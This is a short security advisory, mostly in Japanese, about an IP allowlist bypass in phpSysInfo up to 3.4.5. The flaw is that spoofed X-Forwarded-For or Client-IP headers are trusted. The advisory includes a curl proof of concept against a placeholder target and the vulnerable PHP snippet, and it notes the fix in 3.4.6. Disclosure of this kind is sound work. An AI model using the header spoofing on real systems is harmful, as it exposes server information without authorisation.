
CWE-290, CVSS 7.5 (高), phpSysInfo <= 3.4.5
参照: GHSA-786w-p5pm-cvgh, CVE.org
PSI_ALLOWED は、REMOTE_ADDR にフォールバックする前に、攻撃者が制御可能な X-Forwarded-For(次に Client-IP)ヘッダーからクライアントIPを解決します。トラステッドプロキシの概念がないため、許可されたIPを偽装すると許可リストを無効化でき、xml.php を介して完全なシステム情報が公開されます。
PoC:
# allowlist set to an address the attacker doesn't own (ALLOWED=8.8.8.8)
curl -s http://target/xml.php # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # bypass, full XML
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php # bypass, full XML
脆弱なコード (read_config.php):
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last
}
3.4.6 (019fa2d) で修正: デフォルトを REMOTE_ADDR にし、X-Forwarded-For / Client-IP は設定済みのトラステッドプロキシからのみ受け付けます。
報告者: Muhammed Mirac Kayıkci